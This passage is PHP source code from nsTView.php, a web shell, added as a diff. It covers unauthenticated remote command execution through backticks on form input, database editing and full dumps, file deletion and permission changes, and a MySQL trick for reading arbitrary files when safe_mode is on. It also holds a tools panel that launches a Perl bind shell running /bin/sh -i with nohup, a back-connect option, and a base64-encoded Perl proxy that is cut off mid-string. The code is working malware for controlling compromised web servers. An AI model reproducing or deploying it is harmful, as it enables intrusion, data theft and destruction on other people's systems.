+mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>"); +print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +}#end of insert +}#end of update +} +# end of edit row + + +# insert new line +if($_GET['ins_new_line']){ +$qn = mysql_query('SHOW FIELDS FROM '.$tbl) or die("<font color=red>".mysql_error()."</font>"); +print "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."&ins_new_line=1'> +Insert new line in <b>$tbl</b> table</b><Br><br>"; +print "<table>"; +while ($new_line = mysql_fetch_array($qn, MYSQL_ASSOC)) { +foreach ($new_line as $key =>$next) { +$buff .= "$next "; +} +$expl=explode(" ",$buff); +$buff2 .= $expl[0]." "; +print "<tr><td bgcolor=silver><b>$expl[0]</b><br><font color=green>(<b>$expl[1]</b>)</font></td> +<td><textarea name='$expl[0]' cols=39 rows=5></textarea> +</td></tr>"; +unset($buff); +} +print "</table> +<center><input type=submit value=Insert name=mk_ins></form></center>"; +if($_POST['mk_ins']){ +preg_match_all("/(.*?)\s/i",$buff2,$matches3); +for($i=0; $i<count($matches3[0]); $i++){ +eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";"); +$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,"; +} + +$total_str = ",,".$total_str; +preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4); + +for($i=0; $i<count($matches4[1]); $i++){ + $matches4[1][0]=str_replace(",","",$matches4[1][0]); + $total_m_i .= "`".$matches4[1][$i]."`,"; + $total_m_x .= "'".$matches4[2][$i]."',"; +} +$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1); +$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1); + +$make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)"; +mysql_query($make_insert) or die("<font color=red>".mysql_error()."</font>"); +print "<b>PHP var:<br></b>\$sql=\"$make_insert\";<br><br>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +}#end of mk ins +}#end of ins new line + + + + + + +if(isset($_GET['rename_table'])){ +$rename_table=$_GET['rename_table']; +print "<br><br>Rename <b>$rename_table</b> to<br><br> +<form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$rename_table'> +<input name=new_name size=30><center><br> +<input type=submit value=Rename></center> +</form> +"; + +if(isset($_POST['new_name'])){ +mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>"); +mysql_query("RENAME TABLE $rename_table TO ".$_POST['new_name']) or die("<font color=red>".mysql_error()."</font>"); +print "<br><font color=green>Table <b>$rename_table</b> renamed to <b>".$_POST['new_name']."</b></font>"; +print "<meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&db=$db\">"; +} + +}#end of rename + + +# dump table +if($_GET['dump']){ +if(!is_writable($f_d)){die("<br><br><font color=red>This folder $f_d isnt writable!<br>Cannot make dump.<br><br> +<font color=green><b>You can change temp folder for dump file in your browser!<br> +<font color=red>Change variable &f_d=(here writable directory, expl: /tmp or c:/windows/temp)</font><br> +Then press enter</b></font> +</font>");} +mysql_select_db($db) or die("<font color=red>".mysql_error()."</font>"); +$fp = fopen($f_d."/".$f,"w"); +fwrite($fp, "# nsTView.php v$ver +# Web: http://nst.void.ru +# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].") +# MySQL version: ".mysql_get_server_info()." +# PHP version: ".phpversion()." +# Date: ".date("d.m.Y - H:i:s")." +# Dump db ( $db ) Table ( $tbl ) +# --- eof --- + +"); +$que = mysql_query("SHOW CREATE TABLE `$tbl`") or die("<font color=red>".mysql_error()."</font>"); +$row = mysql_fetch_row($que); +fwrite($fp, "DROP TABLE IF EXISTS `$tbl`;\r\n"); +$row[1]=str_replace("\n","\r\n",$row[1]); +fwrite($fp, $row[1].";\r\n\r\n"); +$que = mysql_query("SELECT * FROM `$tbl`"); +if(mysql_num_rows($que)>0){ +while($row = mysql_fetch_assoc($que)){ +$keys = join("`, `", array_keys($row)); +$values = array_values($row); +foreach($values as $k=>$v) {$values[$k] = adds2($v);} +$values = implode("', '", $values); +$sql = "INSERT INTO `$tbl`(`$keys`) VALUES ('".$values."');\r\n"; +fwrite($fp, $sql); +} +} +fclose($fp); +print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">"; +}#end of dump + + + + +# db dump +if($_GET['dump_db']){ +$c=mysql_num_rows(mysql_list_tables($db)); +if($c>=1){ +print "<br><br>&nbsp;&nbsp;&nbsp;Dump database <b>$db</b>"; +}else{ +print "<br><br><font color=red>Cannot dump database. No tables exists in <b>$db</b> db.</font>"; +die; +} +if(sizeof($tabs)==0){ +$res = mysql_query("SHOW TABLES FROM $db"); +if(mysql_num_rows($res)>0){ +while($row=mysql_fetch_row($res)){ +$tabs[] .= $row[0]; +} +} +} +$fp = fopen($f_d."/".$f,"w"); +fwrite($fp, "# nsTView.php v$ver +# Web: http://nst.void.ru +# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].") +# MySQL version: ".mysql_get_server_info()." +# PHP version: ".phpversion()." +# Date: ".date("d.m.Y - H:i:s")." +# Dump db ( $db ) +# --- eof --- + +"); +foreach($tabs as $tab) { +fwrite($fp,"DROP TABLE IF EXISTS `$tab`;\r\n"); +$res = mysql_query("SHOW CREATE TABLE `$tab`"); +$row = mysql_fetch_row($res); +$row[1]=str_replace("\n","\r\n",$row[1]); +fwrite($fp, $row[1].";\r\n\r\n"); +$res = mysql_query("SELECT * FROM `$tab`"); +if(mysql_num_rows($res)>0){ +while($row=mysql_fetch_assoc($res)){ +$keys = join("`, `", array_keys($row)); +$values = array_values($row); +foreach($values as $k=>$v) {$values[$k] = adds2($v);} +$values = join("', '", $values); +$sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n"; +fwrite($fp, $sql); +}} +fwrite($fp, "\r\n\r\n\r\n"); +} +fclose($fp); +print "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&dump_download=1&f_d=$f_d/\">"; +}#end of db dump + + + + + + +$vnutr=$_GET['vnutr']; +$tbl=$_GET['tbl']; +if($vnutr and !$_GET['ins_new_line']){ +print "<table cellpadding=0 cellspacing=1><tr><td>"; + +mysql_select_db($db) or die(mysql_error()); +$c=mysql_query ("SELECT COUNT(*) FROM $tbl"); +$cfa=mysql_fetch_array($c); +mysql_free_result($c); +print " +Total: $cfa[0] +<form> +From: <input name=from size=3 value=0> +To: <input name=to size=3 value='$cfa[0]'> +<input type=submit name=show value=Show> +<input type=hidden name=vnutr value=1> +<input type=hidden name=vn value='$vn'> +<input type=hidden name=db value='$db'> +<input type=hidden name=login value='$login'> +<input type=hidden name=pass value='$pass'> +<input type=hidden name=adress value='$adress'> +<input type=hidden name=conn value=1> +<input type=hidden name=baza value=1> +<input type=hidden name=p value=sql> +<input type=hidden name=tbl value='$tbl'> + [<a href='$php_self?getdb=1&to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl'>DOWNLOAD</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&ins_new_line=1'>INSERT</a>] [<a href='$php_self?to=$cfa[0]&vnutr=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&baza=1&p=sql&tbl=$tbl&dump=1&f_d=$d'>DUMP</a>] +</form></td></tr></table>"; +$vn=$_GET['vn']; +$from=$_GET['from']; +$to=$_GET['to']; +$from=$_GET['from']; +$to=$_GET['to']; +if(!isset($from)){$from=0;} +if(!isset($to)){$to=50;} +$query = "SELECT * FROM $vn LIMIT $from,$to"; +$result = mysql_query($query); +$result1= mysql_query($query); +print $del_result; +print "<table cellpadding=0 cellspacing=1 border=1><tr><td></td>"; +for ($i=0;$i<mysql_num_fields($result);$i++){ +$name=mysql_field_name($result,$i); +$type = mysql_field_type($result, $i); +$len = mysql_field_len($result, $i); +print "<td bgcolor=#BCE0FF> $name (<b>$type($len)</b>)</td>"; +} +print "</tr><pre>"; + +while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){ +foreach($mn as $key=>$inside){ +$buffer1 .= "`$key`='".adds($inside)."' AND "; +$b1 .= "<td>".htmlspecialchars($inside, ENT_NOQUOTES)."&nbsp;</td>"; +} +$buffer1 = substr($buffer1, 0, strlen($buffer1)-5); +$buffer1 = base64_encode($buffer1); +print "<td> +<form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&vnutr=1&baza=1&vn=$vn&db=$db'> +<input type=hidden name=delete_row value='$buffer1'> +<input type=submit value=Del onclick='return confirm(\"DELETE ?\")' style='border:1px; background-color:white;'> +</form><form method=post action='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$tbl&baza=1&vn=$vn&db=$db'> +<input type=hidden name=edit_row value='$buffer1'> +<input type=submit value=Edit style='border:1px;background-color:green;'> +</form> +</td>\r\n"; +print $b1; +print "</tr>"; +unset($b1); +unset($buffer1); +} + + + +mysql_free_result($result); +print "</table>"; +} #end vnutr +print "</td></tr></table>"; +} # end $conn + + +### end of sql +print "</tr></td></table> </td></tr></table>"; +print $copyr; +die; +} + + +@$p=$_GET['p']; +if(@$_GET['p']=="selfremover"){ + print "<tr><td>"; +print "<font color=red face=verdana size=1>Are you sure?<br> +<a href='$php_self?p=yes'>Yes</a> | <a href='$php_self?'>No</a><br> +Remove: <u>"; +$path=__FILE__; +print $path; +print " </u>?</td></tr></table>"; +die; +} + +if($p=="yes"){ +$path=__FILE__; +@unlink($path); +$path=str_replace("\\","/",$path); +if(file_exists($path)){$hmm="NOT DELETED!!!"; +print "<tr><td><font color=red>FILE $path NOT DELETED</td></tr>"; +}else{$hmm="DELETED";} +print "<script>alert('$path $hmm');</script>"; + +} + + + +if($os=="unix"){ +function fastcmd(){ +global $fast_commands; +$c_f=explode("\n",$fast_commands); +$c_f=count($c_f)-2; +print " +<form method=post> +Total commands: $c_f<br> +<select name=sh3>"; + +$c=substr_count($fast_commands," (nst) "); +for($i=0; $i<=$c; $i++){ + $expl2=explode("\r\n",$fast_commands); + $expl=explode(" (nst) ",$expl2[$i]); + if(trim($expl[1])!=""){ + print "<option value='".trim($expl[1])."'>$expl[0]</option>\r\n"; + } +} + +print "</select><br> +<input type=submit value=Exec> +</form> +"; +} +}#end of os unix + + +if($os=="win"){ +function fastcmd(){ +global $fast_commands_win; +$c_f=explode("\n",$fast_commands_win); +$c_f=count($c_f)-2; +print " +<form method=post> +Total commands: $c_f<br> +<select name=sh3>"; + +$c=substr_count($fast_commands_win," (nst) "); +for($i=0; $i<=$c; $i++){ + $expl2=explode("\r\n",$fast_commands_win); + $expl=explode(" (nst) ",$expl2[$i]); + if(trim($expl[1])!=""){ + print "<option value='".trim($expl[1])."'>$expl[0]</option>\r\n"; + } +} + +print "</select><br> +<input type=submit value=Exec> +</form> +"; +} +}#end of os win + + +echo " +<tr><td>"; +if(@$_GET['sh311']=="1"){echo "<center>cmd<br>pwd: +"; +chdir($d); +echo getcwd()."<br><br> +Fast cmd:<br>"; +fastcmd(); +if($os=="win"){$d=str_replace("/","\\\\",$d);} +print " +<a href=\"javascript:cwd('$d ')\">Insert pwd</a> +<form name=sh311Form method=post><input name=sh3 size=110></form></center><br> +"; +if(@$_POST['sh3']){ +$sh3=$_POST['sh3']; +echo "<pre>"; +print `$sh3`; +echo "</pre>"; +} +} + +if(@$_GET['sh311']=="2"){ +echo "<center>cmd<br> +pwd: +"; +chdir($d); +echo getcwd()."<br><br> +Fast cmd:<br>"; +fastcmd(); +if($os=="win"){$d=str_replace("/","\\\\",$d);} +print " +<a href=\"javascript:cwd('$d ')\">Insert pwd</a> +<form name=sh311Form method=post><input name=sh3 size=110></form></center><br>"; +if(@$_POST['sh3']){ +$sh3=$_POST['sh3']; +echo "<pre>"; print `$sh3`; echo "</pre>";} +echo $copyr; +exit;} + +if(@$_GET['delfl']){ +@$delfolder=$_GET['delfolder']; +echo "DELETE FOLDER: <font color=red>".@$_GET['delfolder']."</font><br> +(All files must be writable)<br> +<a href='$php_self?deldir=1&dir=".@$delfolder."&rback=".@$_GET['rback']."'>Yes</a> || <a href='$php_self?d=$d'>No</a><br><br> +"; +echo $copyr; +exit; +} + + +$mkdir=$_GET['mkdir']; +if($mkdir){ +print "<br><b>Create Folder in $d :</b><br><br> +<form method=post> +New folder name:<br> +<input name=dir_n size=30> +</form><br> +"; +if($_POST['dir_n']){ +mkdir($d."/".$_POST['dir_n']) or die('Cannot create directory '.$_POST['dir_n']); +print "<b><font color=green>Directory created success!</font></b>"; +} +print $copyr; +die; +} + + +$mkfile=$_GET['mkfile']; +if($mkfile){ +print "<br><b>Create file in $d :</b><br><br> +<form method=post> +File name:<br> +(example: hello.txt , hello.php)<br> +<input name=file_n size=30> +</form><br> +"; +if($_POST['file_n']){ +$fp=fopen($d."/".$_POST['file_n'],"w") or die('Cannot create file '.$_POST['file_n']); +fwrite($fp,""); +print "<b><font color=green>File created success!</font></b>"; +} +print $copyr; +die; +} + + +$ps_table=$_GET['ps_table']; +if($ps_table){ + +if($_POST['kill_p']){ +exec("kill -9 ".$_POST['kill_p']); +} + +$str=`ps aux`; + +# You can put here preg_match_all for other distrib/os +preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches); + + +print "<br><b>PS Table :: Fast kill program<br> +(p.s: Tested on Linux slackware 10.0)<br> +<br></b>"; +print "<center><table border=1>"; +for($i=0; $i<count($matches[3]); $i++){ +$expl=explode(" ",$matches[0][$i]); +print "<tr><td>$expl[0]</td><td>PID: ".$matches[1][$i]." :: ".$matches[3][$i]."</td><form method=post><td><font color=red>Kill: <input type=submit name=kill_p value=".trim($matches[1][$i])."></td></form></tr>"; +}#end of for +print "</table></center><br><br>"; +unset($str); +print $copyr; +die; +}#end of ps table + + +$read_file_safe_mode=$_GET['read_file_safe_mode']; +if($read_file_safe_mode){ + +if(!isset($_POST['l'])){$_POST['l']="root";} + +print "<br> +Read file content using MySQL - when <b>safe_mode</b>, <b>open_basedir</b> is <font color=green>ON</font><Br> +<form method=post> +<table> +<tr><td>Addr:</td><Td> <input name=serv_ip value='127.0.0.1'><input name=port value='3306' size=6></td></tr> +<tr><td>Login:</td><td><input name=l value=".$_POST['l']."></td></tr> +<tr><td>Passw:</td><td><input name=p value=".$_POST['p']."></td></tr></table> +(example: /etc/hosts)<br> +<input name=read_file size=45><br> +<input type=submit value='Show content'> +</form> +<br>"; + +if($_POST['read_file']){ +$read_file=$_POST['read_file']; +@mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("<font color=red>".mysql_error()."</font>"); +mysql_create_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); +mysql_select_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); +mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("<font color=red>".mysql_error()."</font>"); +mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file"); +$query = "SELECT * FROM tmp_file"; +$result = mysql_query($query) or die("<font color=red>".mysql_error()."</font>"); +print "<b>File content</b>:<br><br>"; +for($i=0;$i<mysql_num_fields($result);$i++){ +$name=mysql_field_name($result,$i);} +while($line=mysql_fetch_array($result, MYSQL_ASSOC)){ +foreach ($line as $key =>$col_value) { +print htmlspecialchars($col_value)."<br>";}} +mysql_free_result($result); +mysql_drop_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>"); +} + + +print $copyr; +die; +}#end of read_file_safe_mode + + +# sys +$wich_f=$_GET['wich_f']; +$delete=$_GET['delete']; +$del_f=$_GET['del_f']; +$chmod=$_GET['chmod']; +$ccopy_to=$_GET['ccopy_to']; + + +# delete +if(@$_GET['del_f']){ +if(!isset($delete)){ +print "<font color=red>Delete this file?</font><br> +<b>$d/$wich_f<br><br></b> +<a href='$php_self?d=$d&del_f=$wich_f&delete=1'>Yes</a> / <a href='$php_self?d=$d'>No</a> +";} +if($delete==1){ +unlink($d."/".$del_f); +print "<b>File: <font color=green>$d/$del_f DELETED!</font></b> +<br><b> <a href='$php_self?d=$d'># BACK</a> +"; +} +echo $copyr; +exit; +} + + +# copy to +if($ccopy_to){ +$wich_f=$_POST['wich_f']; +$to_f=$_POST['to_f']; +print "<font color=green>Copy file:<br> +$d/$ccopy_to</font><br> +<br> +<form method=post> +File:<br><input name=wich_f size=100 value='$d/$ccopy_to'><br><br> +To:<br><input name=to_f size=100 value='$d/nst_$ccopy_to'><br><br> +<input type=submit value=Copy></form><br><br> +"; + +if($to_f){ +@copy($wich_f,$to_f) or die("<font color=red>Cannot copy!!! maybe folder is not writable</font>"); +print "<font color=green><b>Copy success!!!</b></font><br>"; +} + +echo $copyr; +exit; +} + + +# chmod +if(@$_GET['chmod']){ +$perms = @fileperms($d."/".$wich_f); +print "<b><font color=green>CHMOD file $d/$wich_f</font><br> +<br><center>This file chmod is</b> "; +print perm($perms); +print "</center> +<br>"; +$chmd=<<<HTML + +<script> +<!-- + +function do_chmod(user) { + var field4 = user + "4"; + var field2 = user + "2"; + var field1 = user + "1"; + var total = "t_" + user; + var symbolic = "sym_" + user; + var number = 0; + var sym_string = ""; + + if (document.chmod[field4].checked == true) { number += 4; } + if (document.chmod[field2].checked == true) { number += 2; } + if (document.chmod[field1].checked == true) { number += 1; } + + if (document.chmod[field4].checked == true) { + sym_string += "r"; + } else { + sym_string += "-"; + } + if (document.chmod[field2].checked == true) { + sym_string += "w"; + } else { + sym_string += "-"; + } + if (document.chmod[field1].checked == true) { + sym_string += "x"; + } else { + sym_string += "-"; + } + + if (number == 0) { number = ""; } + document.chmod[total].value = number; + document.chmod[symbolic].value = sym_string; + + document.chmod.t_total.value = document.chmod.t_owner.value + document.chmod.t_group.value + document.chmod.t_other.value; + document.chmod.sym_total.value = "-" + document.chmod.sym_owner.value + document.chmod.sym_group.value + document.chmod.sym_other.value; +} +//--> +</script> + + + +<form name="chmod" method=post> +<p><table cellpadding="0" cellspacing="0" border="0" bgcolor="silver"><tr><td width="100%" valign="top"><table width="100%" cellpadding="5" cellspacing="2" border="0"><tr><td width="100%" bgcolor="#008000" align="center" colspan="5"><font color="#ffffff" size="3"><b>CHMOD (File Permissions)</b></font></td></tr> + <tr bgcolor="gray"> + <td align="left"><b>Permission</b></td> + <td align="center"><b>Owner</b></td> + <td align="center"><b>Group</b></td> + <td align="center"><b>Other</b></td> + <td bgcolor="#dddddd" rowspan="4"> </td> + </tr><tr bgcolor="#dddddd"> + <td align="left" nowrap><b>Read</b></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner4" value="4" onclick="do_chmod('owner')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group4" value="4" onclick="do_chmod('group')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other4" value="4" onclick="do_chmod('other')"></td> + </tr><tr bgcolor="#dddddd"> + <td align="left" nowrap><b>Write</b></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner2" value="2" onclick="do_chmod('owner')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group2" value="2" onclick="do_chmod('group')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other2" value="2" onclick="do_chmod('other')"></td> + </tr><tr bgcolor="#dddddd"> + <td align="left" nowrap><b>Execute</b></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner1" value="1" onclick="do_chmod('owner')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group1" value="1" onclick="do_chmod('group')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other1" value="1" onclick="do_chmod('other')"></td> + </tr><tr bgcolor="#dddddd"> + <td align="right" nowrap>Octal:</td> + <td align="center"><input type="text" name="t_owner" value="" size="1"></td> + <td align="center"><input type="text" name="t_group" value="" size="1"></td> + <td align="center"><input type="text" name="t_other" value="" size="1"></td> + <td align="left"><b>=</b> <input type="text" name="t_total" value="777" size="3"></td> + </tr><tr bgcolor="#dddddd"> + <td align="right" nowrap>Symbolic:</td> + <td align="center"><input type="text" name="sym_owner" value="" size="3"></td> + <td align="center"><input type="text" name="sym_group" value="" size="3"></td> + <td align="center"><input type="text" name="sym_other" value="" size="3"></td> + <td align="left" width=100><b>=</b> <input type="text" name="sym_total" value="" size="10"></td> + </tr> +</table></td></tr></table></p> +HTML; + +print "<center>".$chmd." + +<b>$d/$wich_f</b><br><br> +<input type=submit value=CHMOD></form> +</center> +</form> +"; +$t_total=$_POST['t_total']; +if($t_total){ +chmod($d."/".$wich_f,$t_total); +print "<center><font color=green><br><b>Now chmod is $t_total</b><br><br></font>"; +print "<a href='$php_self?d=$d'># BACK</a><br><br>"; +} +echo $copyr; +exit; +} + +# rename +if(@$_GET['rename']){ +print "<b><font color=green>RENAME $d/$wich_f ?</b></font><br><br> +<center> +<form method=post> +<b>RENAME</b><br><u>$wich_f</u><br><Br><B>TO</B><br> +<input name=rto size=40 value='$wich_f'><br><br> +<input type=submit value=RENAME> +</form> +"; + +@$rto=$_POST['rto']; + +if($rto){ +$fr1=$d."/".$wich_f; +$fr1=str_replace("//","/",$fr1); +$to1=$d."/".$rto; +$to1=str_replace("//","/",$to1); + +rename($fr1,$to1); +print "File <br><b>$wich_f</b><br>Renamed to <b>$rto</b><br><br>"; + +echo "<meta http-equiv=\"REFRESH\" content=\"3;URL=".$php_self."?d=".$d."&rename=1&wich_f=".$rto."\">"; + +} + +echo $copyr; +exit; +} + + + + +if(@$_GET['deldir']){ +@$dir=$_GET['dir']; +function deldir($dir) +{ +$handle = @opendir($dir); +while (false!==($ff = @readdir($handle))){ +if($ff != "." && $ff != ".."){ +if(@is_dir("$dir/$ff")){ +deldir("$dir/$ff"); +}else{ +@unlink("$dir/$ff"); +}}} +@closedir($handle); +if(@rmdir($dir)){ +@$success = true;} +return @$success; +} +$dir=@$dir; +deldir($dir); + +$rback=$_GET['rback']; +@$rback=explode("/",$rback); +$crb=count($rback); +for($i=0; $i<$crb-1; $i++){ + @$x.=$rback[$i]."/"; +} +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL='$php_self?d=".@$x."'\">"; +echo $copyr; +exit;} + + +if(@$_GET['t']=="tools"){ + # unix +if($os=="unix"){ +print " +<center><br> +<font color=red><b>P.S: After you Start, your browser may stuck! You must close it, and then run nstview.php again.</b><br></font> +<table border=1> +<tr><td align=center><b>[Name]</td><td align=center><b>[C]</td><td align=center><b>[Port]</td><td align=center><b>[Perl]</td><td align=center><b>[Port]</td><td align=center><b>[Other options, info]</td></tr> +<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input type=submit name=c_bd value='Start' style='background-color:green;'></td><td><input name=port size=6 value=5545></td></form><form method=post><td><input type=submit name=perl_bd value='Start' style='background-color:green;'></td><td><input name=port value=5551 size=6></td><td>none</td></form></tr> +<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><input type=submit value='Start' name=bc_c style='background-color:green;'></td><td><input name=port_c size=6 value=5546></td><td><input type=submit value='Start' name=port_p disabled style='background-color:gray;'></td><td><input name=port value=5552 size=6></td><td>b.c. ip: <input name=ip value='".$_SERVER['REMOTE_ADDR']."'> nc -l -p <i>5546</i></td></form></tr> +<tr><form method=post><td><font color=red><b>Datapipe:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port_1 size=6 value=5547></td><td><input type=submit value='Start' name=datapipe_pl style='background-color:green;'></td><td><input name=port_2 value=5553 size=6></td><td>other serv ip: <input name=ip> port: <input name=port_3 value=5051 size=6></td></form></tr> +<tr><form method=post><td><font color=red><b>Web proxy:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5548></td></form><form method=post><td><input type=submit value='Start' name=perl_proxy style='background-color:green;'></td><td><input name=port size=6 value=5554></td></form><td>none</td></tr> +<tr><form method=post><td><font color=red><b>Socks 4 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5549></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5555></td><td>none</td></tr> +<tr><form method=post><td><font color=red><b>Socks 5 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5550></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5556></td><td>none</td></tr> +</table> +</center> +<br><Br> +"; +}#end of unix + + +if($_POST['perl_bd']){ +$port=$_POST['port']; +$perl_bd_scp = " +use Socket;\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')); +setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in(\$p,INADDR_ANY)); +listen(S,50);while(1){accept(X,S);if(!(\$pid=fork)){if(!defined \$pid){exit(0);} +open STDIN,\"<&X\";open STDOUT,\">&X\";open STDERR,\">&X\";exec(\"/bin/sh -i\"); +close X;}}"; + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_perl_bd.pl","w"); +fwrite($fp,"$perl_bd_scp"); +passthru("nohup perl /tmp/nst_perl_bd.pl &"); +unlink("/tmp/nst_perl_bd.pl"); +}else{ +if(is_writable(".")){ +mkdir(".nst_bd_tmp"); +$fp=fopen(".nst_bd_tmp/nst_perl_bd.pl","w"); +fwrite($fp,"$perl_bd_scp"); +passthru("nohup perl .nst_bd_tmp/nst_perl_bd.pl &"); +unlink(".nst_bd_tmp/nst_perl_bd.pl"); +rmdir(".nst_bd_tmp"); +} +} +$show_ps="1"; +}#end of start perl_bd + +if($_POST['perl_proxy']){ +$port=$_POST['port']; +$perl_proxy_scp = "IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4vcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtIGh0dHAgcHJveHkgc2VydmVyLiB6YXB1c2thamVtOiBwZXJsIHByb3h5LnBsCTgxODEgbHVib2ogcG9ydCB2aTZpIDEwMjQtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KI3JlcXVpcmUgInN5cy9zb2NrZXQucGgiOw0KdXNlIFNvY2tldDsNCnNyYW5kICh0aW1lfHwkJCk7DQojLS0tICBEZWZpbmUgYSBmcmllbmRseSBleGl0IGhhbmRsZXINCiRTSUd7J0tJTEwnfSA9ICRTSUd7UVVJVH0gPSAkU0lHe0lOVH0gPSAnZXhpdF9oYW5kbGVyJzsNCnN1YiBleGl0X2hhbmRsZXIgew0KICAgIHByaW50ICJcblxuIC0tLSBQcm94eSBzZXJ2ZXIgaXMgZHlpbmcgLi4uXG5cbiI7DQogICAgY2xvc2UoU09DS0VUKTsNCiAgICBleGl0Ow0KDQp9DQojLS0tICBTZXR1cCBzb2NrZXQNCg0KJHwgPSAxOw0KJHByb3h5X3BvcnQgPSBzaGlmdChAQVJHVik7DQokcHJveHlfcG9ydCA9IDgxODEgdW5sZXNzICRwcm94eV9wb3J0ID1+IC9cZCsvOw0KDQokc29ja2V0X2Zvcm1hdCA9ICdTIG4gYTQgeDgnOw0KJmxpc3Rlbl90b19wb3J0KFNPQ0tFVCwgJHByb3h5X3BvcnQpOw0KJGxvY2FsX2hvc3QgPSBgaG9zdG5hbWVgOw0KY2hvcCgkbG9jYWxfaG9zdCk7DQokbG9jYWxfaG9zdF9pcCA9IChnZXRob3N0YnluYW1lKCRsb2NhbF9ob3N0KSlbNF07DQpwcmludCAiIC0tLSBQcm94eSBzZXJ2ZXIgcnVubmluZyBvbiAkbG9jYWxfaG9zdCBwb3J0OiAkcHJveHlfcG9ydCBcblxuIjsNCiMtLS0gIExvb3AgZm9yZXZlciB0YWtpbmcgcmVxdWVzdHMgYXMgdGhleSBjb21lDQp3aGlsZSAoMSkgew0KIy0tLSAgV2FpdCBmb3IgcmVxdWVzdA0KICAgIHByaW50ICIgLS0tIFdhaXRpbmcgdG8gYmUgb2Ygc2VydmljZSAuLi5cbiI7DQogICAgKCRhZGRyID0gYWNjZXB0KENISUxELFNPQ0tFVCkpIHx8IGRpZSAiYWNjZXB0ICQhIjsNCiAgICAoJHBvcnQsJGluZXRhZGRyKSA9ICh1bnBhY2soJHNvY2tldF9mb3JtYXQsJGFkZHIpKVsxLDJdOw0KICAgIEBpbmV0YWRkciA9IHVucGFjaygnQzQnLCRpbmV0YWRkcik7DQogICAgc